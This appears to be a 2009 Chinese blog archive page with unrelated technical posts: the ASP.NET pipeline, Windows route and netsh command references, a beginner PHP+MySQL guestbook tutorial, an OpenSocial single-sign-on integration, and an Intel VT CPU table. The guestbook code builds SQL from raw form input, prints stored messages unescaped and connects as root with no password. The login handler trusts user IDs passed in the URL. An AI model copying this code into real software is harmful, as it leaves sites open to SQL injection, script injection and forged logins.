接下来才是程序员通常编写的代码所完成的工作了,然后,IIS 接收返回的数据流,并重新返还给 HTTP.SYS,最后,HTTP.SYS 再将这些数据返回给客户端浏览器。
OK,现在你看到张子阳的空间主页了。
图3.Asp.Net 的宿主环境

理解管道(Pipeline)
在前面两章中,我们在一个相对比较低的层次上讨论了从发出Http请求到看到浏览器输出这转瞬即逝的十分之一秒内IIS和 Framework 所做的事情。但是我们忽略了一个细节:程序员编写的代码是如何在这一过程中衔接的,本章我们就来看看这个问题。
当Http请求进入 Asp.Net Runtime以后,它的管道由托管模块(NOTE:Managed Modules)和处理程序(NOTE:Handlers)组成,并且由管道来处理这个 Http请求。
图4. 理解 Http 管道

我们按编号来看一下这幅图中的数据是如何流动的。
1. HttpRuntime将Http请求转交给 HttpApplication,HttpApplication代表着程序员创建的Web应用程序。HttpApplication创建针对此Http 请求的 HttpContext对象,这些对象包含了关于此请求的诸多其他对象,主要是HttpRequest、HttpResponse、 HttpSessionState等。这些对象在程序中可以通过Page类或者Context类进行访问。、
2. 接下来Http请求通过一系列Module,这些Module对Http请求具有完全的控制权。这些Module可以做一些执行某个实际工作前的事情。
3. Http请求经过所有的Module之后,它会被HttpHandler处理。在这一步,执行实际的一些操作,通常也就是.aspx页面所完成的业务逻辑。可能你会觉得在创建.aspx页面并没有体会到这一过程,但是,你一定知道,.aspx 页面继承自Page类,我们看一下Page类的签名:
// 代码省略
}
可以看到,Page类实现了IHttpHandler接口,HttpHandler也是Http请求处理的最底层。
4.HttpHandler处理完以后,Http请求再一次回到Module,此时Module可以做一些某个工作已经完成了之后的事情。
如果我们将注意力只集中在Http请求、HttpHandler和HttpModule上,不去考虑HttpContext和HttpApplication,那么图4.可以简化成下面这样:
图5.Http请求在HttpHandler 和 HttpModule 中的流动方向

总结
本文中,我首先概要介绍了这系列文章将要为大家讲述的主题。然后,我提出了部分程序员存在的一个问题:在一个比较高的层次上学习和使用Asp.Net。
随后,我以一个访问我个人空间首页的例子,引出了本文主要讲述的三个内容:
- Http请求刚刚到达时IIS时,IIS 所做的工作。
- Http请求的宿主环境。
- Http管道。
Windows Route 路由表命令
2009年11月13日,星期五Windows Route 路由表命令
在本地 IP 路由表中显示和修改条目。
语法
route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface]]
参数
-f
清除所有不是主路由(网掩码为 255.255.255.255 的路由)、环回网络路由(目标为 127.0.0.0,网掩码为 255.255.255.0 的路由)或多播路由(目标为 224.0.0.0,网掩码为 240.0.0.0 的路由)的条目的路由表。如果它与命令之一(例如 add、change 或 delete)结合使用,表会在运行命令之前清除。
-p
与 add 命令共同使用时,指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下,启动 TCP/IP 协议时不会保存添加的路由。与 print 命令一起使用时,则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersPersistentRoutes。
Command
指定要运行的命令。下表列出了有效的命令。 命令 目的
add 添加路由
change 更改现存路由
delete 删除路由
print 打印路由Destination
指定路由的网络目标地址。目标地址可以是一个 IP 网络地址(其中网络地址的主机地址位设置为 0),对于主机路由是 IP 地址,对于默认路由是 0.0.0.0。
mask subnetmask
指定与网络目标地址相关联的网掩码(又称之为子网掩码)。子网掩码对于 IP 网络地址可以是一适当的子网掩码,对于主机路由是 255.255.255.255 ,对于默认路由是 0.0.0.0。如果忽略,则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是 0,则目标地址中的对应位就不能设置为 1。
Gateway
指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由,网关地址是分配给连接子网接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。
metric Metric
为路由指定所需跃点数的整数值(范围是 1 ~ 9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。
if Interface
指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值,要在十六进制数的前面加上 0x。忽略 if 参数时,接口由网关地址确定。
/?
在命令提示符显示帮助。
注释
路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数,请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。
如果在 systemrootSystem32DriversEtc 文件夹的本地网络文件中存在适当的条目,名称可以用于 Destination。只要名称可以通过“域名系统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址,就可以将其用于 Gateway,DNS 查询使用存储在 systemrootSystem32DriversEtc 文件夹下的本地主机文件和 NetBIOS 名称解析。
如果是 print 或 delete 命令,可以忽略 Gateway 参数,使用通配符来表示目标和网关。Destination 的值可以是由星号 (*) 指定的通配符。如果指定目标含有一个星号 (*) 或问号 (?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字符。例如, 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。
使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1,而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分(由子网掩码所定义)是否有些位设置成了 1。
只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98 的 route 命令不支持该参数。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要显示 IP 路由表的完整内容,请键入:
route print
要显示 IP 路由表中以 10. 开始的路由,请键入:
route print 10.*
要添加默认网关地址为 192.168.12.1 的默认路由,请键入:
route add 0.0.0.0 mask 0.0.0.0 192.168.12.1
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的路由,请键入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的永久路由,请键入:
route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,跃点数为 7 的路由,请键入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,接口索引为 0×3 的路由,请键入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0×3
要删除目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由,请键入:
route delete 10.41.0.0 mask 255.255.0.0
要删除 IP 路由表中以 10. 开始的所有路由,请键入:
route delete 10.*
要将目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25,请键入:
route change 10.41.0.0 mask 255.255.0.0 10.27.0.25
route 的命令
routing ip add/delete/set/show interface 在指定接口上添加、删除、配置或显示常规 IP 路由设置。
routing ip add/delete/set/show filter 在指定接口上添加、删除、配置或显示 IP 数据包筛选器。
routing ip add/delete/show boundary 在指定接口上添加、删除或显示多播边界设置。
routing ip add/set ipiptunnel 添加或配置 IP 中的 IP 接口。
routing ip add/delete/set/show rtmroute 添加、配置或显示不持续的路由表管理器路由。
routing ip add/delete/set/show persistentroute 添加、删除、配置或显示持续路由。
routing ip add/delete/set/show preferenceforprotocol 添加、删除、配置或显示路由协议的优先级。
routing ip add/delete/set/show scope 添加、删除或显示多播作用域。
routing ip set/show loglevel 配置或显示全局 IP 记录等级。
routing ip show helper 显示 IP 的所有 Netsh 实用程序子环境。
routing ip show protocol 显示所有正在运行的 IP 路由协议。
routing ip show mfe 显示多播转发项。
routing ip show mfestats 显示多播转发项统计。
routing ip show boundarystats 显示 IP 多播边界。
routing ip show rtmdestinations 显示路由表管理器路由表中的目标。
routing ip show rtmroutes 显示路由表管理器路由表中的路由。
routing ip nat set/show global 配置或显示全局网络地址转换 (NAT) 设置。
routing ip nat add/delete/set/show interface 添加、删除、配置或显示指定接口的 NAT 设置。
routing ip nat add/delete addressrange 在 NAT 接口公用地址池中添加或删除一个地址范围。
routing ip nat add/delete addressmapping 添加或删除 NAT 地址映射。
routing ip nat add/delete portmapping 添加或删除 NAT 端口映射。
routing ip autodhcp set/show global 配置或显示全局 DHCP 分配器参数。
routing ip autodhcp set/show interface 配置或显示指定接口的 DHCP 分配器设置。
routing ip autodhcp add/delete exclusion 在 DHCP 分配器地址范围中添加或删除一个排除范围。
routing ip dnsproxy set/show global 配置或显示全局 DNS 代理参数。
routing ip dnsproxy set/show interface 配置或显示指定接口的 DNS 代理参数。
routing ip igmp set/show global 配置或显示 IGMP 全局设置。
routing ip igmp add/delete/set/show interface 在指定接口上添加、删除、配置或显示 IGMP。
routing ip igmp add/delete staticgroup 添加或删除指定接口的静态多播组。
routing ip igmp show grouptable 显示 IGMP 主机组表。
routing ip igmp show ifstats 显示每个接口的 IGMP 统计。
routing ip igmp show iftable 显示每个接口的 IGMP 主机组。
routing ip igmp show proxygrouptable 显示 IGMP 代理接口的 IGMP 组表。
routing ip igmp show rasgrouptable 显示远程访问服务器所使用的 Internet 接口的组表。
routing ip ospf set/show global 配置或显示全局 OSPF 设置。
routing ip ospf add/delete/set/show interface 在指定接口上添加、删除、配置或显示 OSPF。
routing ip ospf add/delete/set/show area 添加、删除、配置或显示 OSPF 区域。
routing ip ospf add/delete/show range 在指定的 OSPF 区域上添加、删除、配置或显示范围。
routing ip ospf add/delete/set/show virtif 添加、删除、配置或显示 OSPF 虚拟接口。
routing ip ospf add/delete/show neighbor 添加、删除、配置或显示 OSPF 邻居。
routing ip ospf add/delete/show protofilter 添加、删除、配置或显示 OSPF 外部路由的路由信息源。
routing ip ospf add/delete/show routefilter 添加、删除、配置或显示 OSPF 外部路由的路由筛选。
routing ip ospf show areastats 显示 OSPF 区域统计。
routing ip ospf show lsdb 显示 OSPF 链接状态数据库。
routing ip ospf show virtifstats 显示 OSPF 虚拟链接统计。
routing ip relay set global 配置“DHCP 中继代理程序”的全局设置。
routing ip relay add/delete/set interface 在指定接口上添加、删除或配置“DHCP 中继代理程序”设置。
routing ip relay add/delete dhcpserver 在 DHCP 服务器地址列表中添加或删除 DHCP 服务器的 IP 地址。
routing ip relay show ifbinding 显示接口的 IP 地址绑定。
routing ip relay show ifconfig 显示每个接口的“DHCP 中继代理程序”配置。
routing ip relay show ifstats 显示每个接口的 DHCP 统计。
routing ip rip set/show global 配置 IP 的 RIP 全局设置。
routing ip rip add/delete/set/show interface 在指定接口上添加或配置 IP 的 RIP 设置。
routing ip rip add/delete peerfilter 添加或删除 RIP 对等筛选器。
routing ip rip add/delete acceptfilter 在接受的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete announcefilter 在公布的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete/show neighbor 添加或删除 RIP 邻居。
routing ip rip set/show flags 在指定接口上配置 IP RIP 高级设置。
routing ip rip show globalstats 显示全局 RIP 参数。
routing ip rip show ifbinding 显示接口的 IP 地址绑定。
routing ip rip show ifstats 显示每个接口的 RIP 统计。
IPX netsh 路由命令
routing ipx add/set staticroute 在 IPX 路由表中添加或配置静态 IPX 路由。
routing ipx add/set staticservice 在 SAP 服务表中添加或配置静态 SAP 服务。
routing ipx add/set filter 在指定的接口上添加或配置 IPX 数据包筛选器。
routing ipx add/set interface 在请求拨号接口上启用 IPX 路由,或在指定的接口上配置 IPX 设置。
routing ipx set global 配置全局 IPX 路由设置。
routing ipx rip add/set filter 添加和配置 RIP 路由筛选器。
routing ipx rip set global 配置全局 IPX 的 RIP 设置。
routing ipx rip set interface 在指定接口上配置 IPX 的 RIP 设置。
routing ipx sap add/set filter 添加或配置 SAP 服务筛选器。
routing ipx sap set global 配置全局 IPX 的 SAP 设置。
routing ipx sap set interface 在指定接口上配置 IPX 的 SAP 设置。
routing ipx netbios add nbname 将静态 NETBIOS 名称添加到 IPX NetBIOS 名称表中。
routing ipx netbios set interface 在指定接口上配置基于 IPX 的 NetBIOS 设置。
route 英式说明帮助
Manipulates network routing tables.
ROUTE [-f] [-p] [command [destination]
[MASK netmask] [gateway] [METRIC metric] [IF interface]
-f Clears the routing tables of all gateway entries. If this is
used in conjunction with one of the commands, the tables are
cleared prior to running the command.
-p When used with the ADD command, makes a route persistent across
boots of the system. By default, routes are not preserved
when the system is restarted. Ignored for all other commands,
which always affect the appropriate persistent routes. This
option is not supported in Windows 95.
command One of these:
PRINT Prints a route
ADD Adds a route
DELETE Deletes a route
CHANGE Modifies an existing route
destination Specifies the host.
MASK Specifies that the next parameter is the ‘netmask’ value.
netmask Specifies a subnet mask value for this route entry.
If not specified, it defaults to 255.255.255.255.
gateway Specifies gateway.
interface the interface number for the specified route.
METRIC specifies the metric, ie. cost for the destination.
All symbolic names used for destination are looked up in the network database
file NETWORKS. The symbolic names for gateway are looked up in the host name
database file HOSTS.
If the command is PRINT or DELETE. Destination or gateway can be a wildcard,
(wildcard is specified as a star ‘*’), or the gateway argument may be omitted.
If Dest contains a * or ?, it is treated as a shell pattern, and only
matching destination routes are printed. The ‘*’ matches any string,
and ‘?’ matches any one char. Examples: 157.*.1, 157.*, 127.*, *224*.
The PRINT command will show both IPv4 and IPv6 routes, but the ADD, DELETE,
and CHANGE commands work only for IPv4 routes. For IPv6 routes, use
the ‘interface ipv6′ context in netsh.exe.
Diagnostic Notes:
Invalid MASK generates an error, that is when (DEST & MASK) != DEST.
Example> route ADD 157.0.0.0 MASK 155.0.0.0 157.55.80.1 IF 1
The route addition failed: The specified mask parameter is invalid.
(Destination & Mask) != Destination.
Examples:
> route PRINT
> route ADD 157.0.0.0 MASK 255.0.0.0 157.55.80.1 METRIC 3 IF 2
destination^ ^mask ^gateway metric^ ^
Interface^
If IF is not given, it tries to find the best interface for a given
gateway.
> route PRINT
> route PRINT 157* …. Only prints those matching 157*
> route CHANGE 157.0.0.0 MASK 255.0.0.0 157.55.80.5 METRIC 2 IF 2
CHANGE is used to modify gateway and/or metric only.
> route PRINT
> route DELETE 157.0.0.0
> route PRINT
php+mysql留言本的编写
2009年11月13日,星期五学编程,我觉得最重要的是动手实践.今天第一天学PHP~~`~为了熟悉下这种语言~~~我开始自己编一个PHP+MYSQL的留言本.
从易到难`~~~先由简单的开始.功能以后慢慢完善.
留言本最基本的功能就是:
1:用户写留言
2:把数据写入数据库
3:显示所有留言
下面就开始制作我的留言本
首先在PHPMYADMIN下建立一 guest_book数据库 然后在该数据库下建立一个contents的表 该表下建立两个字段
分别为 name 和 content
SQL语句如下:
CREATE TABLE `contents` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(20) NOT NULL default ‘"no name"’,
`content` mediumtext NOT NULL,
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=6
好了数据库建好了 ~~`下面开始写程序了
该程序包含三个页面post.htm(留言提交页面) index.php(留言显示页面) updata.php(把数据写入数据库的页面)
post.htm代码如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>留言本</title>
</head>
<body>
<form action="updata.php" method="post" name="name1">
姓名:<input type="text" name="user_name"><br>
留言:<textarea name="post_contents" rows="10" cols="50"></textarea>
<input type="submit">
</form>
</body>
</html>
updata.php页面代码如下:
<?
$name=$_POST['user_name'];
$content=$_POST['post_contents'];
$conn=mysql_connect("localhost:6033", "root", "");
mysql_query("set names utf-8"); //解决中文乱码问题
mysql_select_db("guest_book");
$exec="insert into contents (name,content) values (‘".$_POST['user_name']."’,'".$_POST['post_contents']."’)";
$result=mysql_query($exec);
?>
index.php页面代码如下:
<?
$conn=mysql_connect ("localhost:6033", "root", ""); //打开MySQL服务器连接
mysql_select_db("guest_book"); //链接数据库
mysql_query("set names utf-8"); //解决中文乱码问题
$exec="select * from contents"; //sql语句
$result=mysql_query($exec); //执行sql语句,返回结果
while($rs=mysql_fetch_object($result))
{
echo "<table><tr><td>姓名:".$rs->name."</td></tr>";
echo "<tr><td>留言:".$rs->content."</td></tr></table><br/>";
}?>
至于分页,页面转向等功能暂时不用上去.为得就是使程序尽量精简.麻雀虽小.但是留言本的核心功能全在这里了.
其中还需要再多说几句
$conn=mysql_connect ("localhost:6033", "root", "");
这一句很重要 一开始我用的是 $conn=mysql_connect ("127.0.0.1", "", "");
怎么弄都不见数据进数据库去~~~~但是又没报错~~后来看了半天才知道 原来哪个127的地方应该在PHPMYADMIN里看服务器名一击数据库端口是什么~~~还有ROOT那里就是mysql用户名了,后面的是密码
还有个问题就是 汉字乱码问题
在$result=mysql_query($exec); 语句前面加上mysql_query("set names gb2312");或者mysql_query("set names utf-8");
可疑防止提交进数据库的汉字以乱码形式存放在数据库中 以及防止 从数据库中查询出来的包含汉字的数据以乱码显示
有时候尽管这样设置了后还是无法正常显示汉字~~~~
我就遇见了这样的情况,由于我是在本地调试的,每次都要把浏览器上的那个字符编码调到utf-8才能正常显示汉字
默认的编码总是ISO-8859-1 于是google了一下`~原来是apache设置不对.于是找到 httpd.conf 设置文件
把 default-character-set=ISO-8859-1 改为 default-character-set=utf-8
然后再 service httpd restart 重启appache 清除所有cookies与历史记录~~~然后问题就解决了
好了,今天就写到这里`~`明天继续完善这个留言本~~~
openid技术Step1帐户登录系统(7.使用OpenSocial接口登录支持校内网用户的登录
2009年11月13日,星期五上面的几篇文章之中,我按照顺序讲解了Google的AuthSub,Yahoo的BBAuth,Live的Account ID,OpenID的登录,而这正是我在规划这个Step1账户登录系统时候设计要支持的几个网站,现在已经全部支持了,不过可惜的是这些都是国外的网站,国内的很多用户没有这样的账户的,这样,这个系统的可用性就会大大降低了,可惜国内的大网站们现在似乎都没有要开放API的意思,这一点是比较郁闷的。
我仔细的想过如何才能支持国内的一些网站的登录,结果还是没有什么办法,不过我忽然有一天在上校内网的时候,忽然想到,可不可以使用这些SNS的网站的接口来完成这个功能呢?现在SNS网站开放接口确实是像一阵风一样,包括51.com也开放了API,不过51.com是我比较鄙视的网站,也就不提它了。
我开始仔细的考虑整个登录过程,按照以前的每一个接口的逻辑,首先要生成一个登录网址,这个网址怎么得来呢?可以用我们自己开发的SNS APP的页面地址,这个网址通常是固定的,完全可以使用这个网址来作为我们系统的登录转向地址。
我们将用户转向到这个地址之后,因为SNS网站的内容都是需要用户登录的,所以,用户会被再次转向到SNS的登录界面,这样,用户的登录就开始了。
在用户登录完成之后,就会被重新转向到APP的页面,这样的话,APP就会被加载。
APP加载之后,其任务就是获取到用户的资料(ID和名称),然后带上这些参数,将整个页面转向回到登录系统,这样的话,整个登录过程就完成了。
[separator]
上面所说的是一个基本原理,如果要确实的完成之一个过程,需要以下以下条件:
1.SNS系统之中,对每一个APP都有一个固定不变的网址,这个条件通常是具备的,因为SNS网站考虑到用户可能通过网址的复制来分享应用,所以这个网址肯定存在;
2.打开这个网址,就会直接转向到登录的页面。要是哪个SNS网站允许未登录用户查看某个APP的简单信息,需要用户手工点击一个“登录”按钮什么的才能进入登录过程,这样的话需要用户多点击一次,就使登录过程不怎么顺畅了;
3.用户登录完成之后,应该回到APP的页面,要是哪个SNS网站在登录之后总是到用户的控制台,而不是返回到登录请求页,那就不行了;
4.加载一个APP最好是在当前页面上加载,而不是在Iframe上加载,假如确实是在Iframe上加载的(目前最多的就是这种模式),也希望是在同一个域,实在不行是同一个根域也行,这是为了能够在获取到用户信息之后让网页的顶端框架跳转到登录系统,如果实在不能通过JS来进行转向,那就只能放target="_top"的链接提供给用户点击,那样的话,登录的流畅性也就大打折扣了。
能满足上面的四个条件,再加上SNS的APP通常都是能够获取用户的资料的,这样就可以比较流畅的融入到Step1登录系统之中,根据我使用的情况,校内网是能够实现比较好的登录过程的,下面我来介绍一下实现的具体过程(校内网有两种接口,我是采用Google提供标准的OpenSocial接口实现的):
1.首先还是要去校内网申请一个应用程序,在"开发者应用"之中点击"申请OpenSocial开发许可证",就会进入开发许可证申请页面:
注册完成之后,就得到了一个网址http://apps.xiaonei.com/passport/login.html,这个就是我们对用户进行转向的登录地址,转向过去之后,用户就开始了登录过程,输入帐号和密码之后,就进入了APP显示页面,APP先去获取用户信息,然后对用户进行转向,转向的过程大致如图:
在之后就会转向到后台的Handler页面,这个页面简单的将用户信息写入到Cookie,就完成了整个登录过程。
下面会逐步的显示实现的代码,因为这个比较特殊,代码分为4块:Web.config配置代码,OpenSocial App页面ASPX,OpenSocial App页面
类,和OpenSocialServer.cs代码
1.Web.Config配置代码:
- 1 <AccountServer name="xiaonei.com" type="Step1.AccountServer.AccountServers.OpenSocialServer,Step1.AccountServer" loginUrl="http://apps.xiaonei.com/passport/login.html"/>
复制代码
2.OpenSocial APP页面ASPX,在本系统之中被我部署到http://account.step1.cn/account/tools/opensocial.aspx(直接打开无效)
OpenSocia APP页面代码
- 1<%@ Page Language="C#" AutoEventWireup="true" Inherits="Step1.AccountServer.Tools.OpenSocialPage" ResponseEncoding="utf-8" ContentType="text/xml"%><?xml version="1.0" encoding="UTF-8" ?>
- 2<Module>
- 3 <ModulePrefs title="Step1 Account">
- 4 <Require feature="opensocial-0.8"/>
- 5 </ModulePrefs>
- 6 <Content type="html">
- 7 <![CDATA[
- 8 <br/><br/>
- 9 <center><a id="accountLink" target="_top"><h2>正在登录到<%=domain%></h2></a></center>
- 10<script language="javascript">
- 11 function request()
- 12 {
- 13 //请求用户信息
- 14 var idspec = opensocial.newIdSpec({"userId":"OWNER","groupId":"FRIENDS"});
- 15 var req = opensocial.newDataRequest();
- 16 req.add(req.newFetchPersonRequest(opensocial.IdSpec.PersonId.OWNER), "get_owner");
- 17 req.send(response);
- 18 }
- 19 function response(dataResponse)
- 20 {
- 21 //读取用户信息并转向到URL
- 22 var owner = dataResponse.get('get_owner').getData();
- 23 gotoUrl('<%=handleUrl%>&id='+encodeURIComponent(owner.getId())+'&name='+encodeURIComponent(owner.getDisplayName()));
- 24
- 25 }
- 26 function gotoUrl(url)
- 27 { //转向到URL
- 28 document.getElementById("accountLink").firstChild.innerHTML="登录完成,请点击返回(5秒之后自动返回)";
- 29 document.getElementById("accountLink").href=url;
- 30 setTimeout(function(){top.location=url;},5000);
- 31 }
- 32 gadgets.util.registerOnLoadHandler(request);
- 33</script>
- 34 ]]>
- 35 </Content>
- 36</Module>
复制代码
3.OpenSocial APP页面代码文件
OpenSocialPage.cs
- 1 public partial class OpenSocialPage : System.Web.UI.Page
- 2 {
- 3 protected string handleUrl,acc,domain;
- 4 protected void Page_Load(object sender, EventArgs e)
- 5 {//设置需要显示给APP的变量
- 6 BaseServer server = AccountHelper.getServerByName(Request["ass"]);
- 7 handleUrl = server.getHandleUrl();
- 8 domain = Configuration.Instance().rootUrl;
- 9 }
- 10 }
复制代码
4.OpenSocialServer.cs
OpenSocialServer.cs
- 1 public class OpenSocialServer:BaseServer
- 2 {
- 3 private string loginUrl;
- 4 //采用Web.Config之中的XML节点作为构造函数参数
- 5 public OpenSocialServer(System.Xml.XmlNode node)
- 6 : base(node)
- 7 {
- 8 for (int i = 0; i < node.Attributes.Count; i++)
- 9 {
- 10 switch (node.Attributes.LocalName)
- 11 {
- 12 case "loginUrl":
- 13 loginUrl = node.Attributes.Value;
- 14 break;
- 15 }
- 16 }
- 17 }
- 18 public override string getLoginUrl()//直接将XML配置之中的登录URL返回
- 19 {
- 20 return loginUrl;
- 21 }
- 22 public override void parseHandle(HttpContext page)//处理回转请求
- 23 {
- 24 System.Collections.Specialized.NameValueCollection request = HttpUtility.ParseQueryString(page.Request.Url.Query, Encoding.UTF8);
- 25 string id = request["id"];
- 26 string name = request["name"];
- 27 AccountHelper.setUserInfo(id, name, this.name);//设置用户的Cookie
- 28 AccountHelper.returnOpener();//转向到开始请求登录时的页面
- 29 }
- 30 }
复制代码
intel支持硬件虚拟化的CPU列表VT技术cpu详细参数主频FSB代号
2009年11月13日,星期五大家可以通过下面的链接,直接查询英特尔的官方支持列表:http://ark.intel.com/VTList.aspx
支持硬件虚拟化的CPU列表 VT技术
| Intel® Core™ i7 Processor | 主频 | 型号 | 核心 | FSB前端总线 | 工艺 | 步进 | 二级缓存 | 针脚接口 | |
| SLBCK | 2.93 GHz | I7-940 | 4 | 4.8 GT/s | 45 nm | C0 | 8 MB | LGA1366 | 8 |
| SLBCH | 2.66 GHz | I7-920 | 4 | 4.8 GT/s | 45 nm | C0 | 8 MB | LGA1366 | 8 |
| Intel® Core™ i7 Processor Extreme Edition | |||||||||
| SLBCJ | 3.20 GHz | I7-965 | 4 | 6.4 GT/s | 45 nm | C0 | 8 MB | LGA1366 | 8 |
| Intel® Core™2 Duo Desktop Processor | |||||||||
| SLB9L | 3.33 GHz | E8600 | 2 | 1333 MHz | 45 nm | E0 | 6 MB | LGA775 | 6 |
| SLAPK | 3.16 GHz | E8500 | 2 | 1333 MHz | 45 nm | C0 | 6 MB | LGA775 | 6 |
| SLB9K | 3.16 GHz | E8500 | 2 | 1333 MHz | 45 nm | E0 | 6 MB | LGA775 | 6 |
| SLA9U | 3 GHz | E6850 | 2 | 1333 MHz | 65 nm | G0 | 4 MB | LGA775 | 6 |
| SLAPL | 3 GHz | E8400 | 2 | 1333 MHz | 45 nm | C0 | 6 MB | LGA775 | 6 |
| SLB9J | 3 GHz | E8400 | 2 | 1333 MHz | 45 nm | E0 | 6 MB | LGA775 | 6 |
| SLAPJ | 2.83 GHz | E8300 | 2 | 1333 MHz | 45 nm | C0 | 6 MB | LGA775 | 6 |
| SL9S7 | 2.66 GHz | E6700 | 2 | 1066 MHz | 65 nm | B2 | 4 MB | LGA775 | 6 |
| SL9ZF | 2.66 GHz | E6700 | 2 | 1066 MHz | 65 nm | B2 | 4 MB | LGA775 | 6 |
| SLA9V | 2.66 GHz | E6750 | 2 | 1333 MHz | 65 nm | G0 | 4 MB | LGA775 | 6 |
| SLAPP | 2.66 GHz | E8200 | 2 | 1333 MHz | 45 nm | C0 | 6 MB | LGA775 | 6 |
| SL9S8 | 2.40 GHz | E6600 | 2 | 1066 MHz | 65 nm | B2 | 4 MB | LGA775 | 6 |
| SL9ZL | 2.40 GHz | E6600 | 2 | 1066 MHz | 65 nm | B2 | 4 MB | LGA775 | 6 |
| SLA9X | 2.33 GHz | E6550 | 2 | 1333 MHz | 65 nm | G0 | 4 MB | LGA775 | 6 |
| SLAA5 | 2.33 GHz | E6540 | 2 | 1333 MHz | 65 nm | G0 | 4 MB | LGA775 | 6 |
| SL9T9 | 2.13 GHz | E6400 | 2 | 1066 MHz | 65 nm | L2 | 2 MB | LGA775 | 6 |
| SL9S9 | 2.13 GHz | E6400 | 2 | 1066 MHz | 65 nm | B2 | 2 MB | LGA775 | 6 |
| SLA4T | 2.13 GHz | E6420 | 2 | 1066 MHz | 65 nm | B2 | 4 MB | LGA775 | 6 |
| SLA97 | 2.13 GHz | E6400 | 2 | 1066 MHz | 65 nm | M0 | 2 MB | LGA775 | 6 |
| SL9TA | 1.86 GHz | E6300 | 2 | 1066 MHz | 65 nm | L2 | 2 MB | LGA775 | 6 |
| SLA4U | 1.86 GHz | E6320 | 2 | 1066 MHz | 65 nm | B2 | 4 MB | LGA775 | 6 |
| SL9SA | 1.86 GHz | E6300 | 2 | 1066 MHz | 65 nm | B2 | 2 MB | LGA775 | 6 |
| Intel® Core™2 Extreme Processor | |||||||||
| SLAWM | 3.20 GHz | QX9770 | 4 | 1600 MHz | 45 nm | C1 | 12 MB | LGA775 | 05B |
| SLANY | 3.20 GHz | QX9775 | 4 | 1600 MHz | 45 nm | C0 | 12 MB | LGA771 | N/A |
| SLAFN | 3 GHz | QX6850 | 4 | 1333 MHz | 65 nm | G0 | 8 MB | LGA775 | 05B |
| SLAN3 | 3 GHz | QX9650 | 4 | 1333 MHz | 45 nm | C0 | 12 MB | LGA775 | 05B |
| SLAWN | 3 GHz | QX9650 | 4 | 1333 MHz | 45 nm | C1 | 12 MB | LGA775 | 05B |
| SL9UK | 2.93 GHz | QX6800 | 4 | 1066 MHz | 65 nm | B3 | 8 MB | LGA775 | N/A |
| SL9S5 | 2.93 GHz | X6800 | 2 | 1066 MHz | 65 nm | B2 | 4 MB | LGA775 | 05B |
| SLACP | 2.93 GHz | QX6800 | 4 | 1066 MHz | 65 nm | G0 | 8 MB | LGA775 | 05B |
| SL9UL | 2.66 GHz | QX6700 | 4 | 1066 MHz | 65 nm | B3 | 8 MB | LGA775 | 05B |
| Intel® Core™2 Quad Processor 酷睿2四核 | |||||||||
| SLB8W | 3 GHz | Q9650 | 4 | 1333 MHz | 45 nm | E0 | 12 MB | LGA775 | 05A |
| SLB8V | 2.83 GHz | Q9550 | 4 | 1333 MHz | 45 nm | E0 | 12 MB | LGA775 | 05A |
| SLAWQ | 2.83 GHz | Q9550 | 4 | 1333 MHz | 45 nm | C1 | 12 MB | LGA775 | 05A |
| SLGAE | 2.83 GHz | Q9550S | 4 | 1333 MHz | 45 nm | E0 | 12 MB | LGA775 | 6 |
| SLACQ | 2.66 GHz | Q6700 | 4 | 1066 MHz | 65 nm | G0 | 8 MB | LGA775 | 05A |
